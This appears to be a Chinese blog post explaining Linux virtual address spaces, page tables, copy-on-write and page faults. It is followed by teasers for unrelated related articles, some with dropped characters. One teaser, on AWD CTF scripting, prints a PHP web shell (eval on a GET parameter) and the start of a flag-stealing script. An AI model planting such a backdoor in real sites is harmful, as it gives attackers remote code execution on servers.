【Linux】虚拟地址空间,页表,物理内存
目录
进程地址空间,页表,物理内存
什么叫作地址空间?
如何理解地址空间的区域划分?
地址空间结构体
为什么要有地址空间?
页表
cr3寄存器
权限标记位
位置标记位
其他
每个存储单元是一个字节,一共有2^32个字节,大概有4G。
栈往下走,堆往上走。
static修饰的局部变量编译的时候会被编译到全局数据区。
如下图,父子进程访问同一个变量,子进程修改了一下变量,如何做到同一个地址,却读到了不同的内容?
答:因为这个地址不是物理地址,这个地址是虚拟地址或线性地址,平时语言用的地址都是虚拟地址。
进程地址空间,页表,物理内存
创建父进程时,系统会创建对应的PCB,进程对应的代码和数据会加载到内存,同时PCB还能找到代码和数据。
创建父进程
实际上并没有这么简单,创建父进程后,有了PCB后,系统还要为该进程创建进程地址空间,页表。
进程用的地址是进程地址空间里面的虚拟地址。
页表存放的是虚拟地址和物理地址的映射。
假设定义一个变量,那么系统要在物理内存中为这个变量开辟一个空间,这个变量有一个物理地址和一个虚拟地址,进程通过页表将虚拟地址转成物理地址实现访问。
创建子进程
如果这个父进程创建了一个子进程,为了体现进程独立性,子进程会拷贝父进程的PCB,进程地址空间,页表。
子进程的PCB大部分值和父进程一样,少部分需要自己修改。
进程地址空间和父进程一样,所以虚拟地址也一样。
页表和父进程一样,所以能实现数据共享,代码共享,因为虚拟地址,物理地址和父进程都一样。
字进程修改数据
当子进程要修改数据时,如果系统发现这个位置的数据是和父进程共享的,那么此时系统会自动进行写时拷贝,也就是在物理内存上另开辟一个新的空间,然后当前值拷贝过去,然后修改页表对应的物理地址,此时再允许你写入,这个过程不会影响虚拟地址。
什么叫作地址空间?
地址总线排列组合形成的范围就是地址空间,在32位计算机中,地址总线有32位,从全0到全1有2的32次方种组合,每一种组合可以标识一个字节,所以这个空间大约有4G。
如何理解地址空间的区域划分?
假设小胖和小花是同桌,中间有一条38线划分了他们的区域,只需记录这块区域的起始位置和结束位置就可以划分这段区域。
划分区域的变大变小只需要调整起始位置或结束位置的数值即可。
小胖的空间范围是1到50,他可以访问范围内的所有数据。在地址空间范围内,每一个最小单位都有自己的地址,都可以被小胖直接使用。
所以,进程地址空间本质是描述该进程可使用的范围空间大小,地址空间存在各种区域划分,划分方法是记录该区域的起始和结束位置。
地址空间结构体
地址空间本质是系统的一个结构体对象,类似PCB,地址空间结构体存放的是区域的起始结束位置。
进程创建时,系统会创建PCB,也会创建一个虚拟地址空间对象,PCB有个指针可以找到这个对象。
为什么要有地址空间?
物理地址空间只有一个,虚拟地址空间每个进程都有一个,进程申请空间系统就给,每个进程都以为自己拥有全部的地址空间。
第一个原因:虚拟地址空间可以让进程以统一的视角看待内存。
第二个原因:虚拟地址空间可以让进程访问内存时有一个虚拟地址转化物理地址的过程,在这个过程可以对寻址请求进行审查,异常访问直接拦截,从而保护了物理内存。
第三个原因:地址空间和页表将进程管理模块和内存管理模块解耦。
页表
cr3寄存器
CPU有个cr3寄存器,里面保存着页表的起始地址。进程切换时会把这个地址带走,所以不用担心找不到自己的页表。
权限标记位
页表还有第三个位置是标记位,代表访问区域的读写权限,如果你向一个只读区域进行写操作就会被拦截。
所以说为什么代码段,字符常量区是只读的,难道第一次写入不是写入吗?
因为写入物理内存时没有读写要求,而当你用虚拟地址访问时,页表有标志位判断该位置的读写权限。
位置标记位
页表还有一个标志位,表示对应的代码和数据在磁盘还是在内存。当我们读取虚拟地址时,先看标志位,如果在内存就直接访问物理地址,如果在磁盘就会触发缺页中断,系统会把对应的数据加载到内存里,并建立虚拟地址和物理地址的映射,然后重新访问。
惰性加载方式,虚拟地址先填上,物理地址不填,需要时再填上。
所以,创建进程时,系统先给你创建PCB,虚拟地址空间,页表,但是对应的代码和数据不给你加载到内存,等你要访问时再进行缺页中断惰性加载,从而实现边使用边加载。
其他
命令行参数的空间在栈的上面。
父子进程虚拟地址一样,物理地址不同,修改数据只会改变页表右侧的地址。
相关文章:
【Linux】虚拟地址空间,页表,物理内存
目录 进程地址空间,页表,物理内存 什么叫作地址空间? 如何理解地址空间的区域划分? 地址空间结构体 为什么要有地址空间? 页表 cr3寄存器 权限标记位 位置标记位 其他 每个存储单元是一个字节,一…...
C++ 并发专题 - 线程安全的单例模式
一:概述: 在C编程中,call_once 是一种机制,用于确保某个函数或代码段在多线程环境下仅被调用一次。这种机制常用于初始化资源、配置全局变量或执行只需执行一次的逻辑。在 C11 标准中,std::call_once 是由标准库提供的…...
Spring Boot汽车世界:资讯与技术的交汇
2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统,它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等,非常…...
力扣 LeetCode 541. 反转字符串II(Day4:字符串)
解题思路: i可以成段成段的跳,而不是简单的i class Solution {public String reverseStr(String s, int k) {char[] ch s.toCharArray();// 1. 每隔 2k 个字符的前 k 个字符进行反转for (int i 0; i < ch.length; i 2 * k) {// 2. 剩余字符小于 …...
Django5 2024全栈开发指南(一):框架简介、环境搭建与项目结构
目录 一、Python Web框架要点二、Django流程2.1 Django介绍2.1.1 简介2.1.2 特点2.1.3 MVT模式2.1.4 Django新特性2.1.5 Django学习资料 2.2 搭建Django框架开发环境2.2.1 安装Python语言环境2.2.2 安装Django框架 2.3 创建Django项目2.4 Pycharm创建项目2.5 初试Django52.5.1 …...
Uniapp运行环境判断和解决跨端兼容性详解
Uniapp运行环境判断和解决跨端兼容性 开发环境和生产环境 uniapp可通过process.env.NODE_ENV判断当前环境是开发环境还是生产环境,一般用于链接测试服务器或者生产服务器的动态切换。在HX中,点击运行编译出来的代码是开发环境,点击发行编译…...
Linux设置开机自动执行脚本 rc-local
使用/etc/rc.local 1、启动rc-local服务 首先授予执行权限 chmod x /etc/rc.d/rc.local设置开启自启并启动 sudo systemctl enable rc-local sudo systemctl start rc-local查看状态 sudo systemctl status rc-local2、编写要执行的脚本 vim /home/start.sh #!/bin/bash…...
驱动开发小问题 -记录一下
1 D:\Windows Kits\10\Vsix\VS2022\10.0.26100.0\amd64 D:\Windows Kits\10\Vsix\VS2019 2 windows防火墙白板 无法设置通过powershell防火墙禁用 Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False 3 内核调试 vm虚拟机 设置成 NAT模式 ÿ…...
学习笔记018——若依框架数据权限功能的实现
ps:本文所使用的若依是前后端分离的v3.6.0版本。 1、建表 建立业务表的时候,需要在表中添加user_id和dept_id两个字段。(字段一定要一样,下文能体现) user_id:表中该条记录的创建人id dept_id࿱…...
Nginx文件下载服务器搭建
Nginx文件下载服务器搭建 80端口启动下载服务器, 下载/var/www/downloads目录下的文件,nginx.conf如下: server {listen 80;location /downloads/ {root /var/www/downloads;autoindex on; # 显示目录autoindex_localtime on;} }浏览器中访问ÿ…...
AWD脚本编写_1
AWD脚本编写_1 shell.php(放在网站根目录下) <?php error_reporting(0); eval($_GET["yanxiao"]); ?>脚本编写成功 后门文件利用与解析 import requests import base64def get_flag(url, flag_url, method, passwd, flag_path):cmd…...
HarmonyOS 如何获取设备信息(系统、版本、网络连接状态)
文章目录 前言一、引入模块和基本设备信息的获取二、设备硬件和系统版本信息的获取三、获取安全相关的设备信息四、获取网络状态信息五、完整 Demo 代码1. 导入所需模块2. 获取设备基本信息代码解析 3. 检测网络连接状态4. 执行函数 总结 前言 HarmonyOS 提供了一个强大的 API…...
2411rust,1.80
1.80.0稳定版 LazyCell和LazyLock 这些"懒"类型会延迟初化其数据,直到第一次访问.它们类似1.70中稳定的OnceCell和OnceLock类型,但单元中包含初化函数. 这稳定化了从流行的lazy_static和once_cell中进入标准库. LazyLock是线安选项,使其适合静态值等位置.如,产生…...
FPGA 第6讲 简单组合逻辑多路选择器
时间:2024.11.11-11.14 一、学习内容 1.组合逻辑 组合逻辑是VerilgHDL设计中一个重要组成部分。从电路本质上讲,组合逻辑电路的特点是输出信号只是当前时刻输入信号的函数,与其他时刻的输入状态无关,无存储电路,也没…...
Android Studio开发学习(五)———LinearLayout(线性布局)
一、布局 认识了解一下Android中的布局,分别是: LinearLayout(线性布局),RelativeLayout(相对布局),TableLayout(表格布局), FrameLayout(帧布局),AbsoluteLayout(绝对布局),GridLayout(网格布局) 等。 二、…...
大模型(LLMs)RAG 版面分析------文本分块面
一、为什么需要对文本分块? 使用大型语言模型(LLM)时,切勿忽略文本分块的重要性,其对处理结果的好坏有重大影响。 考虑以下场景:你面临一个几百页的文档,其中充满了文字,你希望对其…...
Web3游戏先锋 Big Time Studios 重磅推出 $OL 通证,赋能 Open Loot 游戏平台
作为 Web3 游戏领域的领军者,Big Time Studios 不仅创造了热门游戏《Big Time》,还开发了 Open Loot 平台,至今交易量已超过 5 亿美元。如今,Open Loot 平台的活跃用户可以获得 $OL 代币,这是该平台推出的首个实用型代…...
Linux—ln(link files)命令使用方法(How to create links on Linux)
Linux—ln(link files)命令使用方法 在 Linux 系统中工作时,需要在不同的目录中使用相同的文件时,不必在每个目录下都复制一份文件,这样不仅浪费磁盘空间,还会导致文件管理上的混乱。 ln(link files) 便是…...
学习日记_20241110_聚类方法(K-Means)
前言 提醒: 文章内容为方便作者自己后日复习与查阅而进行的书写与发布,其中引用内容都会使用链接表明出处(如有侵权问题,请及时联系)。 其中内容多为一次书写,缺少检查与订正,如有问题或其他拓展…...
解决Oracle DECODE函数字符串截断问题的深度剖析20241113
解决Oracle DECODE函数字符串截断问题的深度剖析 在使用Oracle数据库进行开发时,开发者可能会遇到一些令人困惑的问题。其中,在使用DECODE函数时,返回的字符串被截断就是一个典型的案例。本文将以学生管理系统为背景,深入探讨这个…...
开源模型应用落地-语音转文本-whisper模型-AIGC应用探索(二)
一、前言 语音转文本技术具有重要价值。它能提高信息记录和处理的效率,使人们可以快速将语音内容转换为可编辑、可存储的文本形式,方便后续查阅和分析。在教育领域,可帮助学生更好地记录课堂重点;在办公场景中,能简化会议记录工作。同时,该技术也为残障人士提供了便利,让…...
PHP框架 单一入口和多入口以及优缺点
在PHP框架中,单一入口和多入口是两种不同的应用架构设计方式,以下是关于这两者及其优缺点的详细解释: 一、单一入口 定义: 单一入口(Single Entry Point)指的是应用程序通过一个统一的文件(通…...
PhpSpreadsheet导出图片
PhpSpreadsheet导出图片 //导出public function pdf($ids){$jzInfo $this->model->where(id,$ids)->find();try {//巡检人员$staff_ids \app\admin\model\inspection\Plan::where(id,$jzInfo[plan_id])->value(staff_id);$staff_names \app\admin\model\inspect…...
AI 提示词(Prompt)入门 十:最佳实践|详细询问,提供细节!
1、原则解释 当与 ChatGPT 交流时,提供具体和详细的信息非常重要。 这样做可以帮助 ChatGPT 更准确地理解你的需求和上下文,从而生成更相关和有用的回答 明确的信息可以包括具体的问题背景、相关领域的说明、你所期望的答案类型等。 2、如何实践 明…...
web应用安全和信息泄露预防
文章目录 1:spring actuator导致的信息泄露1.1、Endpoint配置启用检测1.2、信息泄露复现1.3、防御 2:服务端口的合理使用3:弱口令(密码)管理4:服务端攻击4.1、短信业务,文件上传等资源型接口1、…...
《人工智能深度学习的基本路线图》
《人工智能深度学习的基本路线图》 基础准备阶段 数学基础: 线性代数:深度学习中大量涉及矩阵运算、向量空间等概念,线性代数是理解和处理这些的基础。例如,神经网络中的权重矩阵、输入向量的运算等都依赖于线性代数知识。学习内容…...
基于Java Springboot宠物猫售卖管理系统
一、作品包含 源码数据库全套环境和工具资源部署教程 二、项目技术 前端技术:Html、Css、Js、Vue、Element-ui 数据库:MySQL 后端技术:Java、Spring Boot、MyBatis 三、运行环境 开发工具:IDEA/eclipse 数据库:…...
力扣-Hot100-链表其三【算法学习day.36】
前言 ###我做这类文档一个重要的目的还是给正在学习的大家提供方向(例如想要掌握基础用法,该刷哪些题?)我的解析也不会做的非常详细,只会提供思路和一些关键点,力扣上的大佬们的题解质量是非常非常高滴&am…...
iOS逆向入门:使用theos注入第三方依赖库
背景 theos是一个跨平台的软件开发框架,常用于管理,开发和部署iOS项目,同时也是开发iOS越狱插件的主要工具。和MonkeyDev不同的是,它不依赖于xcode,可以在多个操作系统上运行。一个完整的iOS越狱开发流程包括…...
JavaScript 原型
JavaScript 的原型(Prototype)是其面向对象编程模型的核心概念之一,它决定了对象如何继承属性和方法。通过理解 JavaScript 的原型,你可以更好地理解对象之间的关系以及如何扩展对象功能。 核心概念 [[Prototype]](内部…...
余杭区建设规划局网站/免费友链互换
Terraform功能简介 Terraform是IT 基础架构自动化编排工具,它的口号是 “Write,Plan, and create Infrastructure as Code”, 基础架构即代码。 怎么理解这句话,我们先假设在没有Terraform的年代我们是怎么操作云服务。 方式一:直接登入到云平…...
网站后台不能修改/百度推荐现在为什么不能用了
我们在配置深度学习环境的时候,除了安装各种库和框架外,如果需要 GPU 加速,还需要配置 CUDA。那 CUDA 是什么?它的作用是什么? CUDA 编程介绍 什么是 CUDA? CUDA (Compute Unified Device Architecture) …...
wordpress用户搜索次数/交换链接营销的典型案例
http://www.cnblogs.com/LingzhiSun/tag/EF/...
在哪个网站上做实验仪器比较好/平台推广公司
读了这篇文章(原文http://os.51cto.com/art/201110/298945.htm),让人感到很生气。Linux 现已走过了二十年的风风雨雨成长为一个巨人,在你我生活的每个角落,小到手机大到汽车,我们都能看到它的身影。原作者说…...
做网站专题模板/网络推广的含义
当联通大肆利用人们对iPhone的狂热攻城掠地的时候,移动在做什么呢?韬光养晦吗,肯定不会;中国移动正在一步一步走向对手机互联网和移动互联的全面掌控。而OPhone的发展之路,就是这个历程中一项非常重要的里程碑。工信部…...